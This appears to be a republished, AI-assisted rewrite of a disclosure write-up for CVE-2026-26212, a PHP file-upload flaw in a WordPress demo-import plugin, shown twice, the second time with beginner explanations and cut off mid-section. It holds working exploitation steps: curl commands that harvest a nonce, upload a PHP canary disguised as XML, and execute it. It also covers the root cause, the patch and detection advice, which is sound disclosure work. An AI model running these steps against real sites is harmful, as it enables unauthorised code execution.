Skip to content
File upload Write-up Intermediate

Anatomy of an Admin-Only RCE: CVE-2026-26212

The RARA One Click Demo Import WordPress plugin disabled WordPress's built-in file-type validation when handling uploaded demo import files, allowing an administrator to upload a PHP file that was written to a web-accessible directory and executed. On hardened hosting where administrators are normally blocked from installing plugins or themes, this let an administrator regain code execution.

medium.com

Published on medium.com

Cybersecurity

Rinesa Krasniqi, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

Context

RARA One Click Demo Import is a WordPress plugin with roughly 20,000 installs. Its job is unremarkable: it takes an XML export of a demo site and imports it in one click, so a customer who buys a theme ends up with a site that looks like the theme's screenshots. To do that, it accepts uploaded files.

When it accepted them, it told WordPress not to check what they were. That configuration choice was present since version 1.0.0 and shipped in every release for years. It allowed any administrator to write a .php file into a web-accessible directory and execute it. The issue is CVE-2026-26212, fixed in 1.3.5.

The mechanism itself is about as simple as a vulnerability gets. What made it worth writing up is everything that had to be established around the mechanism before it counted as a finding at all.

Field Value
CVE CVE-2026-26212
Affected RARA One Click Demo Import < 1.3.5 (~20,000 installs)
Fixed in 1.3.5
Weakness CWE-434, Unrestricted Upload of File with Dangerous Type
Severity CVSS v3.1 7.2 High; CVSS v4.0 8.6 High
CNA VulnCheck

Setup

All testing ran in an isolated lab on hardware the researcher owns, with the following stack:

  • WordPress 7.1
  • PHP 8.5.4
  • Apache 2.4.66 with mod_php
  • MariaDB 11.8.6

The plugin was pinned to 1.3.4 and hash-verified against the wordpress.org release. The proof of concept was later replayed against a patched 1.3.5 build, and after the bypass attempts against 1.3.4 again in the same environment and session as a positive control.

The endpoint requires a nonce and a capability check for import, which on single-site WordPress is administrator-only. The nonce is harvested from the plugin's own admin interface, where it is localised as rrdi.ajax_nonce.

Finding it

The defect is a single flag. WordPress provides a correct way to accept an uploaded file: wp_handle_upload() passes it through wp_check_filetype_and_ext(), which validates the extension against the site's permitted MIME map and cross-checks the declared type against the file's actual contents. It is the right primitive, it is well tested, and it is one function call. It also accepts an argument that turns the validation off.

In includes/class-rrdi-helpers.php, lines 496 to 504:

PHP
$upload_overrides = array(
    'test_form' => false,
    'test_type' => false,
);
PHP
$content_file_info     = wp_handle_upload( $_FILES['content_file'],    $upload_overrides );
$widget_file_info      = wp_handle_upload( $_FILES['widget_file'],     $upload_overrides );
$customizer_file_info  = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

Three request-controlled files, validation disabled, written to disk. The comment above the array is accurate: it describes what the code does, and does not attempt to justify why that is safe. The flag reads as a configuration detail rather than a security decision, which is precisely what makes the pattern durable. The request passes every control the plugin implements; one flag removes the only validation that would have rejected the file.

Finding a disabled safety check is not the same as finding a vulnerability. A grep for test_type.*=>.*false across a corpus of plugins returns a lot of hits, and most of them go nowhere. Three questions decide it, and they have to be answered in order.

Question 1: is the sink actually reachable?

The endpoint is registered at includes/class-rrdi-main.php:80:

PHP
add_action( 'wp_ajax_rrdi_import_demo_data', array( $this, 'rrdi_import_demo_data_ajax_callback' ) );

There is no wp_ajax_nopriv_ variant. This is not an unauthenticated bug, and the report never claimed it was. The endpoint enforces a nonce and a capability check for import, which on single-site WordPress is administrator-only. Both controls work correctly.

But the registration sits outside the is_valid_theme_author() guard applied a few lines above it. That guard governs whether the plugin's settings screen renders, not whether the handler exists. On a site running the plugin with a non-Rara theme, the admin interface is absent and the endpoint is live. Reachable, then, on every install with the plugin active, whether or not anyone can see it.

Question 2: does anything downstream mitigate it?

Plugins sometimes disable core validation because they implement their own, so the next step is to trace forward and look for a compensating control.

sanitize_file_name() preserves a single .php extension. The plugin performs no extension, MIME, or content inspection of its own.

There is an XML-format check immediately after, at lines 506 to 514. It is not a mitigation, for two independent reasons. It evaluates only whether the upload failed, which a successful .php upload does not. And it runs after wp_handle_upload() has already committed the file to disk, so even if it rejected the content, the write has happened. Nothing downstream mitigates it.

Question 3: does it cross a privilege boundary?

This is the question that decides whether the report is worth writing, and it is the one most findings of this shape fail.

The objection arrives immediately, and it is a good one: an administrator can already install a plugin containing arbitrary PHP, so no boundary is crossed and this is a feature working as designed. On a default WordPress installation, that objection is correct. Plenty of admin-plus RCE submissions are genuinely noise.

It stops being correct on hardened hosting. DISALLOW_FILE_MODS is the WordPress constant by which managed hosts and multisite operators withdraw code-execution capability from administrators while leaving content administration intact. It is the mechanism that distinguishes an administrator of a site from an administrator of a server, and a large share of commercially hosted WordPress runs under it.

Rather than argue the point, the researcher enabled the constant and measured the resulting capability state directly:

Text
install_plugins  => denied
edit_plugins     => denied
install_themes   => denied
edit_themes      => denied
update_plugins   => denied
upload_files     => ALLOWED
import           => ALLOWED

Five documented routes to code execution, all closed. The host policy is holding exactly as intended. Then the proof of concept was re-run against that same installation:

Text
RRDI_HARDENED_5c1d8b|exec_under_DISALLOW_FILE_MODS|uid=33

The plugin is not restating power the administrator already holds. It is returning a capability that WordPress is deliberately withholding, and the distinction is measurable rather than rhetorical. That is what makes the finding scoreable at PR:H and still a genuine privilege escalation in the environments where it matters.

There was precedent as well. CVE-2022-1008 was assigned for the identical test_type misuse in the upstream One Click Demo Import plugin, characterised by NVD as permitting high privilege users such as admin to upload arbitrary files such as PHP. The defect class at this privilege level already had an established disposition. This was a fork in which the same defect had neither been reported nor corrected.

When a finding depends on an argument, the argument is the weakest part of the report. Replace it with a measurement: enabling the hardening constant and showing that the payload still executed settles a discussion that speculation about some hosts never will.

Exploitation

Step 1: harvest the legitimate nonce

The nonce came from the plugin's own admin interface, where it is localised as rrdi.ajax_nonce:

Bash
NONCE=$(curl -s -b cookies.txt \
  "http://localhost:8888/wp-admin/themes.php?page=rara-demo-import" \
  | grep -oE '"ajax_nonce":"[a-zA-Z0-9]+"' | head -1 | cut -d'"' -f4)

This is the legitimate token. The CSRF protection added in 1.3.0 for CVE-2022-29451 is present and functioning throughout; this issue is reached through it, not around it. Conflating the two would have invalidated the report.

Step 2: build a canary payload

The payload was a canary rather than a webshell: it demonstrates execution just as conclusively and leaves nothing usable on disk.

PHP
<?php echo "RRDI_CANARY_9f4b7ae21c"; echo "|php=" . PHP_VERSION; echo "|uid=" . posix_geteuid(); echo "|OK"; ?>

It prints a fixed marker, the PHP version and the effective user ID.

Step 3: submit it as content_file

Bash
curl -b cookies.txt \
  -F "action=rrdi_import_demo_data" \
  -F "security=$NONCE" \
  -F "selected=0" \
  -F "[email protected];type=text/xml" \
  -F "[email protected];type=text/xml" \
  -F "[email protected];type=text/xml" \
  http://localhost:8888/wp-admin/admin-ajax.php

The request targets admin-ajax.php with the plugin's action, the harvested nonce in security, and the three file fields. The canary is sent as content_file with a declared type of text/xml; the other two parts carry harmless XML.

Step 4: retrieve and execute

Bash
$ curl http://localhost:8888/wp-content/uploads/2026/09/canary.php
RRDI_CANARY_9f4b7ae21c|php=8.5.4|uid=33|OK

42 bytes were returned against 112 on disk, with Content-Type: text/html, executing as uid 33 (www-data). The source was interpreted, not served.

The negative cases

A demonstration establishes that something works. The negative cases establish which control failed, which is what a maintainer actually needs in order to fix it.

Case Result
Subscriber, using an administrator nonce HTTP 403, blocked
Contributor, using an administrator nonce HTTP 403, blocked
Administrator, security parameter omitted HTTP 403, no file written
Administrator, invalid security parameter HTTP 403, no file written
Administrator, valid nonce HTTP 200, file written and executed
wp_check_filetype_and_ext on canary.php ext false, type false: core would have rejected it

Every other control in the chain held. Only the file-type check was missing, because it had been switched off.

Root cause

The mistake is the 'test_type' => false entry in the upload overrides passed to wp_handle_upload(). It disables core's file-type validation for the entire request, so the extension and content checks in wp_check_filetype_and_ext() never run. sanitize_file_name() preserves a single .php extension, and the plugin adds no inspection of its own. The XML-format check that follows runs after the file is already on disk and only inspects whether the upload failed, so it cannot act as a compensating control.

The endpoint's own nonce and capability checks are intact and were not bypassed. The privilege boundary question is what makes the defect scoreable: on a default install an administrator can already install plugins, but under DISALLOW_FILE_MODS that route is closed while upload_files and import remain allowed, so the plugin hands back a capability the host deliberately withholds.

Three properties kept the defect invisible from 1.0.0 to 1.3.4.

  1. The endpoint reports failure on success. Submitting a .php file returns:
Text
"Widget import data could not be read. Please try a different file."

The import genuinely does fail, at XML parsing, long after the file has been written. Anyone who tested the endpoint casually, saw an error and moved on would have concluded it was rejecting bad input. It was accepting the file and then failing to parse it, which looks identical from outside and is the opposite thing.

  1. The interface was hidden, so the surface looked smaller than it was. Because the settings screen only rendered under Rara themes, a reviewer looking at a site running a different theme would see no importer at all. Gating the UI and gating the handler are separate operations, and here they diverged inside the same file.

  2. The dangerous line looks like configuration. 'test_type' => false sits in an array of upload options next to 'test_form' => false, which is genuinely routine for AJAX handlers. One of those two flags is a minor convenience; the other disables file-type validation for the entire request. They are visually indistinguishable.

Impact

An authenticated administrator can write a .php file into a web-accessible uploads directory and execute it. On a default WordPress installation this does not cross a privilege boundary, because an administrator can already install a plugin containing arbitrary PHP. Under DISALLOW_FILE_MODS, as used by managed hosts and multisite operators, the five documented routes to code execution are denied while upload_files and import remain allowed, so the plugin restores code execution to an administrator who is supposed to have lost it. That is the condition under which the finding is a genuine privilege escalation.

The uploaded file creates no row in wp_posts, so it never appears in the Media library and is invisible to tooling that enumerates attachments. It persists after the plugin is deactivated or deleted, because nothing in the plugin's lifecycle owns it. The patch does not clean up after anyone who arrived first.

Fix

Version 1.3.5 restores validation and constrains it:

Diff
$upload_overrides = array(
      'test_form' => false,
-     'test_type' => false,
+     'test_type' => true,
+     'mimes'     => array(
+         'xml'  => 'text/xml',
+         'wxr'  => 'text/xml',
+         'json' => 'application/json',
+         'wie'  => 'application/octet-stream',
+         'dat'  => 'application/octet-stream',
+     ),
  );

This addresses the root cause rather than filtering symptoms: test_type => true reinstates core's check, and the mimes allowlist narrows acceptance to the five formats the importer legitimately handles. Where a plugin genuinely needs an unusual format, this, not disabling validation, is the supported mechanism. A full diff of the 1.3.4 and 1.3.5 archives confirmed no other security-relevant change.

Verifying the patch

The original proof of concept was replayed against the patched build, then three bypasses were tried: a double extension (canary.php.xml), a .phar, and an uppercase .PHP. All four were rejected, with nothing written to uploads/ at all.

Four clean negative results are not evidence unless the instrument that produced them can be shown to still register a positive. An expired session, a nonce that failed to harvest, a mistyped parameter or a plugin that silently did not activate are all indistinguishable from a working patch. So the researcher downgraded to 1.3.4 in the same environment, in the same session, and issued the identical request:

Text
written : wp-content/uploads/2026/09/canary.php
fetched : http://localhost:8888/wp-content/uploads/2026/09/canary.php
output  : RRDI_CANARY_9f4b7ae21c|php=8.5.4|uid=33|OK

The exploit succeeded. Only then did the four rejections mean anything. In patch verification a positive control is not optional: without one, a confirmation is an assumption wearing the costume of a test, and the failure mode is telling a vendor their bug is fixed when it is not.

For site operators

Update to 1.3.5, then separately check whether the site was already exploited, because the patch does not clean up after anyone who arrived first. Search the uploads tree for executable files:

Bash
find wp-content/uploads -type f \( -name '*.php' -o -name '*.phar' -o -name '*.phtml' \)

Also review access-log entries requesting a .php file directly under wp-content/uploads/, and admin-ajax.php requests carrying action=rrdi_import_demo_data that do not correspond to a demo import the team actually performed. Independently of this plugin, denying PHP execution inside the uploads directory neutralises this entire vulnerability class. It costs one directive and is among the highest-value hardening measures available to a WordPress operator.

Timeline

  • 26 August 2026: defect identified; lab built; proof of concept confirmed against 1.3.4.
  • 26 August 2026: reported to VulnCheck for coordinated disclosure.
  • Early September 2026: vendor engaged; pre-release build supplied for verification.
  • 7 September 2026: fix verified with positive control; no bypass identified.
  • 9 September 2026: version 1.3.5 released; CVE-2026-26212 published.

Two weeks end to end, with a maintainer who engaged directly and shipped a fix addressing the underlying defect.

  1. Grep for disabled upload validation. Search plugin and theme code for test_type set to false, or for wp_handle_upload calls whose overrides skip type checking. A positive result is a reachable AJAX or form handler that writes a request-controlled file into wp-content/uploads/ and returns a URL or path you can fetch.
  2. Check handler registration against UI gating. Look for wp_ajax_ registrations placed outside the guard that controls whether the settings screen renders. A positive result is an endpoint that answers with a valid nonce and capability even when the interface is absent under the current theme.
  3. Test under DISALLOW_FILE_MODS. Enable the constant and confirm that install_plugins, edit_plugins, install_themes, edit_themes and update_plugins are denied while upload_files and import remain allowed. A positive result is a payload that still executes, which turns an admin-only upload into a privilege escalation.
  4. Probe extension handling after sanitize_file_name(). Try a double extension such as canary.php.xml, a .phar, and an uppercase .PHP against any candidate sink. A positive result is any of them landing in uploads/ and being interpreted by PHP.
  5. Read the error message, then check the disk. Submit a file the importer cannot parse and see whether it reports failure. A positive result is an error response combined with the file still present in uploads/, which means the failure happened after the write.
  6. Always run a positive control during patch verification. After any set of rejections, replay the original request against the vulnerable version in the same environment and session. A positive result is the original payload executing again, which proves the rejections were caused by the fix and not by a broken test.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 24 min read.

What happened, in plain words

A WordPress plugin called RARA One Click Demo Import, installed on roughly 20,000 sites, had a setting in its code that switched off WordPress's own safety check on uploaded files. Because of that, any administrator of a WordPress site could write a .php file into a web-accessible directory and execute it. The problem is tracked as CVE-2026-26212 and was fixed in version 1.3.5.

That sounds simple, and the mechanism really is simple. The interesting part of the story is everything the researcher had to prove before the simple mechanism counted as a real security problem. A disabled safety check is not automatically a vulnerability. Most of the time it leads nowhere. This article walks through the same steps the researcher took, in the same order, and explains each concept from scratch along the way.

Some background you need first

What WordPress is

WordPress is a free system for building websites. You install it on a web server, and it gives you an administration area in your browser where you write pages, upload pictures and change the look of the site. A huge share of the world's websites run on it.

What a plugin is

A plugin is an add-on for WordPress. It is a folder of files, mostly written in PHP, that you install into WordPress to add a feature. A plugin can do almost anything the server can do, including running code. That last point matters a lot later on.

What PHP is

PHP is a programming language designed for websites. When a visitor asks a web server for a .php file, the server does not send the file's text to the browser. It hands the file to the PHP program, which runs it and sends back whatever the program prints. That is the difference between a file being served (its text goes to the browser) and being interpreted (it runs on the server). If an attacker can get a .php file into a place the web server will interpret, the attacker's code runs on the server. That is usually called remote code execution, or RCE.

What an administrator is

In WordPress, users have roles. A subscriber can read; a contributor can write drafts; an administrator can do everything, including installing plugins and themes. The administrator is the most powerful user on a site.

What the plugin does

RARA One Click Demo Import does something unremarkable. Theme sellers publish demo sites so customers can see what a theme looks like. The plugin takes an XML export of such a demo site and imports it in one click, so a customer who buys a theme ends up with a site that looks like the theme's screenshots. XML is a text format for structured data; think of it as a very strict, machine-readable document.

To do that, the plugin accepts uploaded files. And when it accepted them, it told WordPress not to check what they were.

What a CVE is

A CVE is a public identifier for a known security flaw, like a catalogue number. CVE-2026-26212 is the number assigned to this one. The CNA listed here is VulnCheck.

The summary table

Field Value
CVE CVE-2026-26212
Affected RARA One Click Demo Import < 1.3.5 (~20,000 installs)
Fixed in 1.3.5
Weakness CWE-434, Unrestricted Upload of File with Dangerous Type
Severity CVSS v3.1 7.2 High; CVSS v4.0 8.6 High
CNA VulnCheck

CWE-434 is the label for the general class of mistake: letting someone upload a file of a type that can be dangerous, such as an executable program. CVSS is a scoring system that turns a vulnerability into a number, so organisations can prioritise. Both scores here land in the High band.

The lab

All testing ran in an isolated lab on hardware the researcher owns. "Isolated" means a machine set up only for this purpose, not connected to anything real, so nothing can be harmed by accident. The stack was:

  • WordPress 7.1
  • PHP 8.5.4
  • Apache 2.4.66 with mod_php
  • MariaDB 11.8.6

Apache is the web server, the program that answers browser requests. mod_php is the piece that lets Apache run PHP files. MariaDB is the database where WordPress stores its content. The plugin was pinned to version 1.3.4, the last vulnerable release, and hash-verified against the wordpress.org release. A hash is a short fingerprint of a file's contents; comparing it against the official one proves the file was not altered.

Later the proof of concept was replayed against a patched 1.3.5 build, and then against 1.3.4 again in the same environment and session. That last replay is a technique called a positive control, explained further down.

Finding it

The one flag

WordPress provides a correct way to accept an uploaded file. The function wp_handle_upload() passes the file through wp_check_filetype_and_ext(), which validates the extension against the site's permitted MIME map and cross-checks the declared type against the file's actual contents. A MIME type is the label a browser or server uses for a file's kind, such as text/xml for XML or image/png for a picture. The check is the right tool, it is well tested, and it is one function call.

It also accepts an argument that turns the validation off.

In includes/class-rrdi-helpers.php, lines 496 to 504:

PHP
$upload_overrides = array(
    'test_form' => false,
    'test_type' => false,
);

Line by line:

  • $upload_overrides = array( starts a list of settings that will be handed to the upload function. $upload_overrides is just a name for that list.
  • 'test_form' => false, switches off a form check. This is genuinely routine for AJAX handlers.
  • 'test_type' => false, switches off the file-type check. This is the dangerous line.
  • ); closes the list.
PHP
$content_file_info     = wp_handle_upload( $_FILES['content_file'],    $upload_overrides );
$widget_file_info      = wp_handle_upload( $_FILES['widget_file'],     $upload_overrides );
$customizer_file_info  = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

Line by line:

  • Each line calls wp_handle_upload(), the WordPress function that saves an uploaded file to disk.
  • $_FILES['content_file'] is the file the visitor sent under the name content_file. $_FILES is PHP's built-in container for uploaded files. The other two lines do the same for widget_file and customizer_file.
  • $upload_overrides is the settings list from above, so all three uploads run with the type check switched off.
  • The result is stored in a variable ending in _info.

Three request-controlled files, validation disabled, written to disk. "Request-controlled" means the visitor decides what goes in them. The comment above the array is accurate: it describes what the code does, and does not attempt to justify why that is safe. The flag reads as a configuration detail rather than a security decision, which is precisely what makes the pattern durable. The request passes every control the plugin implements; one flag removes the only validation that would have rejected the file.

Why a disabled check is not yet a vulnerability

Finding a disabled safety check is not the same as finding a vulnerability. Searching a large collection of plugins for the text test_type.*=>.*false returns a lot of hits, and most of them go nowhere. Three questions decide whether a hit is real, and they have to be answered in order.

Question 1: is the sink actually reachable?

A sink is the place where the dangerous action finally happens, here the upload function. If nothing can call it, the flaw cannot be used. The endpoint is registered at includes/class-rrdi-main.php:80:

PHP
add_action( 'wp_ajax_rrdi_import_demo_data', array( $this, 'rrdi_import_demo_data_ajax_callback' ) );

Line by line:

  • add_action( tells WordPress to run a function when a particular event happens.
  • 'wp_ajax_rrdi_import_demo_data' is the event name. In WordPress, wp_ajax_ followed by a name means "a logged-in user sent a request to admin-ajax.php with this action name".
  • array( $this, 'rrdi_import_demo_data_ajax_callback' ) names the function to run: a method called rrdi_import_demo_data_ajax_callback on the current object.

There is no wp_ajax_nopriv_ variant. The nopriv prefix would register the same action for visitors who are not logged in. Its absence means this is not an unauthenticated bug, and the report never claimed it was. The endpoint enforces a nonce and a capability check for import, which on single-site WordPress is administrator-only. Both controls work correctly.

A nonce is a one-time code that proves a request came from the site's own pages and not from a malicious page elsewhere. A capability check asks WordPress whether the current user has a named permission, here import.

But the registration sits outside the is_valid_theme_author() guard applied a few lines above it. That guard governs whether the plugin's settings screen renders, not whether the handler exists. On a site running the plugin with a non-Rara theme, the admin interface is absent and the endpoint is live. Reachable, then, on every install with the plugin active, whether or not anyone can see it.

Question 2: does anything downstream mitigate it?

Plugins sometimes disable core validation because they implement their own, so the next step is to trace forward and look for a compensating control. A compensating control is a second safety measure that catches what the first one missed.

sanitize_file_name() is a WordPress function that cleans up a filename. It preserves a single .php extension. The plugin performs no extension, MIME, or content inspection of its own.

There is an XML-format check immediately after, at lines 506 to 514. It is not a mitigation, for two independent reasons. It evaluates only whether the upload failed, which a successful .php upload does not. And it runs after wp_handle_upload() has already committed the file to disk, so even if it rejected the content, the write has happened. Nothing downstream mitigates it.

Question 3: does it cross a privilege boundary?

A privilege boundary is the line between what a user is allowed to do and what they are not. Crossing it is what turns a bug into a privilege escalation. This is the question that decides whether the report is worth writing, and it is the one most findings of this shape fail.

The objection arrives immediately, and it is a good one: an administrator can already install a plugin containing arbitrary PHP, so no boundary is crossed and this is a feature working as designed. On a default WordPress installation, that objection is correct. Plenty of admin-plus RCE submissions are genuinely noise.

It stops being correct on hardened hosting. DISALLOW_FILE_MODS is the WordPress constant by which managed hosts and multisite operators withdraw code-execution capability from administrators while leaving content administration intact. A constant is a fixed named value set in a configuration file. It is the mechanism that distinguishes an administrator of a site from an administrator of a server, and a large share of commercially hosted WordPress runs under it.

Rather than argue the point, the researcher enabled the constant and measured the resulting capability state directly:

Text
install_plugins  => denied
edit_plugins     => denied
install_themes   => denied
edit_themes      => denied
update_plugins   => denied
upload_files     => ALLOWED
import           => ALLOWED

Line by line:

  • install_plugins, edit_plugins, install_themes, edit_themes and update_plugins are the five documented ways an administrator normally gets code onto a WordPress site. All show denied, so the host policy is holding.
  • upload_files and import show ALLOWED, because those are content tasks, not code tasks.

Five documented routes to code execution, all closed. The host policy is holding exactly as intended. Then the proof of concept was re-run against that same installation:

Text
RRDI_HARDENED_5c1d8b|exec_under_DISALLOW_FILE_MODS|uid=33

This is the output the uploaded file printed when it ran. The plugin is not restating power the administrator already holds. It is returning a capability that WordPress is deliberately withholding, and the distinction is measurable rather than rhetorical. That is what makes the finding scoreable at PR:H and still a genuine privilege escalation in the environments where it matters. PR:H is the CVSS field meaning the attacker must already have high privileges.

There was precedent as well. CVE-2022-1008 was assigned for the identical test_type misuse in the upstream One Click Demo Import plugin, characterised by NVD as permitting high privilege users such as admin to upload arbitrary files such as PHP. NVD is the US government's public database of vulnerabilities. The defect class at this privilege level already had an established disposition. This was a fork in which the same defect had neither been reported nor corrected.

When a finding depends on an argument, the argument is the weakest part of the report. Replace it with a measurement: enabling the hardening constant and showing that the payload still executed settles a discussion that speculation about some hosts never will.

Exploitation

Step 1: harvest the legitimate nonce

The nonce came from the plugin's own admin interface, where it is localised as rrdi.ajax_nonce. "Localised" here means the plugin passes the value into the page's JavaScript so the browser can send it back later.

Bash
NONCE=$(curl -s -b cookies.txt \
  "http://localhost:8888/wp-admin/themes.php?page=rara-demo-import" \
  | grep -oE '"ajax_nonce":"[a-zA-Z0-9]+"' | head -1 | cut -d'"' -f4)

Line by line:

  • NONCE=$( ... ) runs everything inside the brackets and stores the printed result in a shell variable called NONCE.
  • curl -s -b cookies.txt fetches a web page quietly (-s) while sending the cookies stored in cookies.txt. A cookie is a small piece of data the browser keeps and sends back with each request; here it carries the logged-in session, so the server knows which user is asking.
  • The URL is the plugin's settings page in the WordPress admin area.
  • | grep -oE '"ajax_nonce":"[a-zA-Z0-9]+"' pipes the page through a search that prints only the matching fragment: the nonce and its label.
  • | head -1 keeps only the first match.
  • | cut -d'"' -f4 splits the line on double quotes and keeps the fourth piece, which is the nonce value itself.

This is the legitimate token. The CSRF protection added in 1.3.0 for CVE-2022-29451 is present and functioning throughout; this issue is reached through it, not around it. CSRF means cross-site request forgery, where a malicious page tricks a logged-in user's browser into sending a request the user did not intend. Conflating the two would have invalidated the report.

Step 2: build a canary payload

The payload was a canary rather than a webshell. A webshell is a small program that gives an attacker a permanent remote control panel on the server. A canary is a harmless test file that only proves code ran. It demonstrates execution just as conclusively and leaves nothing usable on disk.

PHP
<?php echo "RRDI_CANARY_9f4b7ae21c"; echo "|php=" . PHP_VERSION; echo "|uid=" . posix_geteuid(); echo "|OK"; ?>

Line by line:

  • <?php opens a PHP block; ?> closes it.
  • echo "RRDI_CANARY_9f4b7ae21c"; prints a fixed marker so the output can be recognised.
  • echo "|php=" . PHP_VERSION; prints the PHP version. The dot joins strings together.
  • echo "|uid=" . posix_geteuid(); prints the effective user ID, the numeric identity the server process runs under.
  • echo "|OK"; prints a final confirmation.

It prints a fixed marker, the PHP version and the effective user ID, which is enough to prove the file was interpreted by PHP rather than served as text.

Step 3: submit it as content_file

Bash
curl -b cookies.txt \
  -F "action=rrdi_import_demo_data" \
  -F "security=$NONCE" \
  -F "selected=0" \
  -F "[email protected];type=text/xml" \
  -F "[email protected];type=text/xml" \
  -F "[email protected];type=text/xml" \
  http://localhost:8888/wp-admin/admin-ajax.php

Line by line:

  • curl -b cookies.txt sends the request with the saved login cookies.
  • -F "action=rrdi_import_demo_data" adds a form field naming the plugin action, so WordPress routes the request to the right handler.
  • -F "security=$NONCE" adds the harvested nonce in the field the plugin expects.
  • -F "selected=0" adds a selection field the importer expects.
  • -F "[email protected];type=text/xml" uploads the local file canary.php under the field name content_file, declaring its type as text/xml. The @ means "read this local file".
  • The two dummy.xml lines upload harmless XML files for the other two fields, so the request looks like a normal import.
  • The last line is the address: WordPress's general AJAX endpoint, admin-ajax.php. AJAX is the technique where a page talks to the server in the background without reloading.

The request targets admin-ajax.php with the plugin's action, the harvested nonce in security, and three multipart file parts. Multipart is the format browsers use to send files in a form. The canary is sent as content_file with a declared type of text/xml; the other two parts carry harmless XML. Because test_type is false, the declared type and the actual contents are never cross-checked.

Step 4: retrieve and execute

Bash
$ curl http://localhost:8888/wp-content/uploads/2026/09/canary.php
RRDI_CANARY_9f4b7ae21c|php=8.5.4|uid=33|OK

Line by line:

  • The first line asks the web server for the uploaded file at its public address under wp-content/uploads/, the folder where WordPress stores uploaded media.
  • The second line is what came back: the marker, the PHP version and the user ID, all printed by the canary. If the server had merely served the file as text, the browser would have received the source code instead.

42 bytes were returned against 112 on disk, with Content-Type: text/html, executing as uid 33 (www-data). www-data is the conventional name of the user the web server runs as on Linux. The source was interpreted, not served.

The negative cases

A demonstration establishes that something works. The negative cases establish which control failed, which is what a maintainer actually needs in order to fix it. A maintainer is the person who looks after the plugin.

Case Result
Subscriber, using an administrator nonce HTTP 403, blocked
Contributor, using an administrator nonce HTTP 403, blocked
Administrator, security parameter omitted HTTP 403, no file written
Administrator, invalid security parameter HTTP 403, no file written
Administrator, valid nonce HTTP 200, file written and executed
wp_check_filetype_and_ext on canary.php ext false, type false: core would have rejected it

HTTP 403 is the status code for "forbidden"; HTTP 200 means "OK". The first two rows show that a subscriber or contributor using an administrator nonce is blocked. The next two show that the nonce check itself works. The last row shows what WordPress's own check would have said about the file: it would have refused it. Every other control in the chain held. Only the file-type check was missing, because it had been switched off.

Root cause

The mistake is the 'test_type' => false entry in the upload overrides passed to wp_handle_upload(). It disables core's file-type validation for the entire request, so the extension and content checks in wp_check_filetype_and_ext() never run. sanitize_file_name() preserves a single .php extension, and the plugin adds no inspection of its own. The XML-format check that follows runs after the file is already on disk and only inspects whether the upload failed, so it cannot act as a compensating control.

The endpoint's own nonce and capability checks are intact and were not bypassed. The privilege boundary question is what makes the defect scoreable: on a default install an administrator can already install plugins, but under DISALLOW_FILE_MODS that route is closed while upload_files and import remain allowed, so the plugin hands back a capability the host deliberately withholds.

Three properties kept the defect invisible from 1.0.0 to 1.3.4.

  1. The endpoint reports failure on success. Submitting a .php file returns:
Text
"Widget import data could not be read. Please try a different file."

This is the message the plugin sends back. The import genuinely does fail, at XML parsing, long after the file has been written. Anyone who tested the endpoint casually, saw an error and moved on would have concluded it was rejecting bad input. It was accepting the file and then failing to parse it, which looks identical from outside and is the opposite thing.

  1. The interface was hidden, so the surface looked smaller than it was. Because the settings screen only rendered under Rara themes, a reviewer looking at a site running a different theme would see no importer at all. Gating the UI and gating the handler are separate operations, and here they diverged inside the same file. The UI is the user interface, the visible screens.

  2. The dangerous line looks like configuration. 'test_type' => false sits in an array of upload options next to 'test_form' => false, which is genuinely routine for AJAX handlers. One of those two flags is a minor convenience; the other disables file-type validation for the entire request. They are visually indistinguishable.

Impact

An authenticated administrator can write a .php file into a web-accessible uploads directory and execute it. On a default WordPress installation this does not cross a privilege boundary, because an administrator can already install a plugin containing arbitrary PHP. Under DISALLOW_FILE_MODS, as used by managed hosts and multisite operators, the five documented routes to code execution are denied while upload_files and import remain allowed, so the plugin restores code execution to an administrator who is supposed to have lost it. That is the condition under which the finding is a genuine privilege escalation.

The uploaded file creates no row in wp_posts, so it never appears in the Media library and is invisible to tooling that enumerates attachments. wp_posts is the database table where WordPress stores posts and media entries. It persists after the plugin is deactivated or deleted, because nothing in the plugin's lifecycle owns it. The patch does not clean up after anyone who arrived first.

Fix

Version 1.3.5 restores validation and constrains it:

Diff
$upload_overrides = array(
      'test_form' => false,
-     'test_type' => false,
+     'test_type' => true,
+     'mimes'     => array(
+         'xml'  => 'text/xml',
+         'wxr'  => 'text/xml',
+         'json' => 'application/json',
+         'wie'  => 'application/octet-stream',
+         'dat'  => 'application/octet-stream',
+     ),
  );

Line by line:

  • The lines starting with - are what was removed: the flag that switched the check off.
  • + 'test_type' => true, turns the check back on.
  • + 'mimes' => array( starts an allowlist of file types the importer will accept.
  • The five entries map file extensions (xml, wxr, json, wie, dat) to the MIME types they are allowed to have. An allowlist is the opposite of a blocklist: only listed things pass.
  • 'test_form' => false is unchanged, because it was never the problem.

This addresses the root cause rather than filtering symptoms: test_type => true reinstates core's check, and the mimes allowlist narrows acceptance to the five formats the importer legitimately handles. Where a plugin genuinely needs an unusual format, this, not disabling validation, is the supported mechanism. A full diff of the 1.3.4 and 1.3.5 archives confirmed no other security-relevant change. A diff is a side-by-side comparison of two versions of a file.

Verifying the patch

The original proof of concept was replayed against the patched build, then three bypasses were tried: a double extension (canary.php.xml), a .phar, and an uppercase .PHP. A bypass is an attempt to get past the fix by disguising the file. .phar is another PHP-related archive format. All four were rejected, with nothing written to uploads/ at all.

Four clean negative results are not evidence unless the instrument that produced them can be shown to still register a positive. An expired session, a nonce that failed to harvest, a mistyped parameter or a plugin that silently did not activate are all indistinguishable from a working patch. So the researcher downgraded to 1.3.4 in the same environment, in the same session, and issued the identical request:

Text
written : wp-content/uploads/2026/09/canary.php
fetched : http://localhost:8888/wp-content/uploads/2026/09/canary.php
output  : RRDI_CANARY_9f4b7ae21c|php=8.5.4|uid=33|OK

Line by line:

  • written is where the file landed on disk.
  • fetched is the address it was requested from.
  • output is what the canary printed when it ran, the same marker, PHP version and user ID as before.

The exploit succeeded. Only then did the four rejections mean anything. In patch verification a positive control is not optional: without one, a confirmation is an assumption wearing the costume of a test, and the failure mode is telling a vendor their bug is fixed when it is not.

For site operators

A site operator is whoever runs the website. Update to 1.3.5, then separately check whether the site was already exploited, because the patch does not clean up after anyone who arrived first. Search the uploads tree for executable files:

Bash
